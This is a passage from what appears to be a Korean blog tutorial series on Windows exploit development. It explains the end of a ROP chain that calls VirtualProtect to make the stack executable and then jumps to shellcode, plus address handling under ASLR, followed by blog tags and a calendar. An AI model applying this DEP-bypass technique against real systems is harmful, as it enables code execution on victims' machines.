EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # argument 3
ECX (lpOldProtect (ptr to writeable address)) # argument 4
VirtualProtect가 끝나게 되면 POP # RET 가젯으로 뛰게 되고 이는 EBP로 가게 되며 스택에 있는 모든 인자들을 제거하게 됩니다. 이제 ESP는 스택에서 EAX를 가리키는 DWORD를 가리키게 됩니다. 최종적으로 POP # RET 가젯이 실행되고 POP 은 ESP 를 증가 시키고 RET 은 call esp 가젯으로 점프하는데 이는 우리의 쉘코드를 호출하게 됩니다. (스택 페이지는 이제 실행 가능)
여기서, 제가 주소를 다음과 같이 표현하는 것을 선호함을 알 수 있으실 겁니다.
baseAddress + RVA
이유는 ASLR 때문인데 주소는 변경되도 RVA는 상수로 남아 있기 때문입니다.
여러분의 PC에서 테스트 해보시려면 시스템 별로 오프셋에 대해 차이가 있기 때문에 다시 살펴보셔야 할 것 입니다. 만약 실행 가능하도록 만드실 수 있으시다면 많은 것을 배우실수 있으실 겁니다. 실제 익스플로잇에서는 어플리케이션에서 사용하는 모듈을 이용하셔야지 좀 더 신뢰성 있는 익스플로잇을 만들 수 있습니다.
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 11. Exploitme5 (힙 스프레잉 & UAF) (3) | 2016.07.22 |
---|---|
[익스플로잇 개발] 10. Exploitme4 (ASLR) (0) | 2016.07.19 |
[익스플로잇 개발] 08. Exploitme2 (스택 쿠키 & SEH) (0) | 2016.07.19 |
[익스플로잇 개발] 07. Exploitme1 ("ret eip" 덮어쓰기) (0) | 2016.07.19 |
[익스플로잇 개발] 06. 쉘 코드 (0) | 2016.07.19 |
- Total
- Today
- Yesterday
- 쉘 코드 작성
- 윈도우즈 익스플로잇 개발
- IE 11 UAF
- TenDollar CTF
- 쉘 코드
- CTF Write up
- IE 11 exploit
- IE 10 익스플로잇
- 2014 SU CTF Write UP
- TenDollar
- data mining
- IE 11 exploit development
- 2015 School CTF
- expdev 번역
- IE 10 Exploit Development
- 힙 스프레잉
- School CTF Writeup
- School CTF Write up
- IE UAF
- Use after free
- WinDbg
- Mona 2
- heap spraying
- Windows Exploit Development
- UAF
- 데이터 마이닝
- shellcode writing
- IE 10 God Mode
- shellcode
- IE 10 리버싱
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |